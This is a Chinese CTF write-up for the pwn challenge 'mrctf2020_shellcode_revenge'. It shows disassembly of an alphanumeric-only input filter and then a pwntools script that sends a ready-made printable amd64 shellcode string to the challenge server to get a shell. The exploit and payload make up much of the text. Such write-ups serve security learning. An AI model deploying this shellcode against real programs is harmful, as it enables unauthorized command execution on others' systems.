mrctf2020_shellcode_revenge

mrctf2020_shellcode_revenge

复制代码
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      PIE enabled
RWX:      Has RWX segments

64位,开了PIE和RELRO,看到RWX出来,就感觉是shellcode了

进入IDA,没法反编译

复制代码
.text:0000000000001155 buf             = byte ptr -410h
.text:0000000000001155 var_8           = dword ptr -8
.text:0000000000001155 var_4           = dword ptr -4
.text:0000000000001155
.text:0000000000001155 ; __unwind {
.text:0000000000001155                 push    rbp
.text:0000000000001156                 mov     rbp, rsp
.text:0000000000001159                 sub     rsp, 410h
.text:0000000000001160                 mov     edx, 14h        ; n
.text:0000000000001165                 lea     rsi, aShowMeYourMagi ; "Show me your magic!\n"
.text:000000000000116C                 mov     edi, 1          ; fd
.text:0000000000001171                 mov     eax, 0
.text:0000000000001176                 call    _write
.text:000000000000117B                 lea     rax, [rbp+buf]
.text:0000000000001182                 mov     edx, 400h       ; nbytes
.text:0000000000001187                 mov     rsi, rax        ; buf
.text:000000000000118A                 mov     edi, 0          ; fd
.text:000000000000118F                 mov     eax, 0
.text:0000000000001194                 call    _read

到read这里,就是read(0,buf,0x400),并且buf是0x410,没法溢出

复制代码
.text:00000000000011B8                 mov     eax, [rbp+var_4]
.text:00000000000011BB                 cdqe
.text:00000000000011BD                 movzx   eax, [rbp+rax+buf]
.text:00000000000011C5                 cmp     al, 60h ; '`'
.text:00000000000011C7                 jle     short loc_11DA
.text:00000000000011C9                 mov     eax, [rbp+var_4]
.text:00000000000011CC                 cdqe
.text:00000000000011CE                 movzx   eax, [rbp+rax+buf]
.text:00000000000011D6                 cmp     al, 7Ah ; 'z'
.text:00000000000011D8                 jle     short loc_1236
.text:00000000000011DA
.text:00000000000011DA loc_11DA:                               ; CODE XREF: main+72↑j
.text:00000000000011DA                 mov     eax, [rbp+var_4]
.text:00000000000011DD                 cdqe
.text:00000000000011DF                 movzx   eax, [rbp+rax+buf]
.text:00000000000011E7                 cmp     al, 40h ; '@'
.text:00000000000011E9                 jle     short loc_11FC
.text:00000000000011EB                 mov     eax, [rbp+var_4]
.text:00000000000011EE                 cdqe
.text:00000000000011F0                 movzx   eax, [rbp+rax+buf]
.text:00000000000011F8                 cmp     al, 5Ah ; 'Z'
.text:00000000000011FA                 jle     short loc_1236
.text:00000000000011FC
.text:00000000000011FC loc_11FC:                               ; CODE XREF: main+94↑j
.text:00000000000011FC                 mov     eax, [rbp+var_4]
.text:00000000000011FF                 cdqe
.text:0000000000001201                 movzx   eax, [rbp+rax+buf]
.text:0000000000001209                 cmp     al, 2Fh ; '/'
.text:000000000000120B                 jle     short loc_121E
.text:000000000000120D                 mov     eax, [rbp+var_4]
.text:0000000000001210                 cdqe
.text:0000000000001212                 movzx   eax, [rbp+rax+buf]
.text:000000000000121A                 cmp     al, 5Ah ; 'Z'
.text:000000000000121C                 jle     short loc_1236

下面这里,就是判断你输入的是否是可见字符

思路

可见字符shellcode

复制代码
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t

from pwn import*
from Yapack import *
r,elf=rec("node4.buuoj.cn",28860,"./pwn",10)
context(os='linux', arch='amd64',log_level='debug')

pl=b'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
sa(b'magic!',pl)

ia()
相关推荐
Allen_LVyingbo38 分钟前
医院网络安全托管服务(MSS)深度解读与实践路径
安全·web安全·健康医疗
20242817李臻43 分钟前
李臻20242817_安全文件传输系统项目报告_第12周
数据库·安全
玉笥寻珍1 小时前
医疗信息系统安全防护体系的深度构建与理论实践融合
安全·web安全·安全威胁分析·健康医疗
Think Spatial 空间思维3 小时前
【SSL部署与优化】HTTP/2与HTTPS的协同效应
安全·http·https·部署·ssl·优化
xmweisi023 小时前
【Linux】ssh命令 – 安全的远程连接服务
linux·安全·ssh
AORO_BEIDOU5 小时前
遨游科普:三防平板是什么?有什么功能?
网络·5g·安全·智能手机·电脑·信息与通信
伤不起bb11 小时前
MySQL 高可用
linux·运维·数据库·mysql·安全·高可用
James. 常德 student17 小时前
网络安全知识点
安全·web安全·php
玉笥寻珍19 小时前
筑牢信息安全防线:涉密计算机与互联网隔离的理论实践与风险防控
开发语言·计算机网络·安全·计算机外设·php·安全架构·安全性测试
可怜的Tom被玩弄于股掌之中20 小时前
BUUCTF——Nmap
网络·安全·web安全·网络安全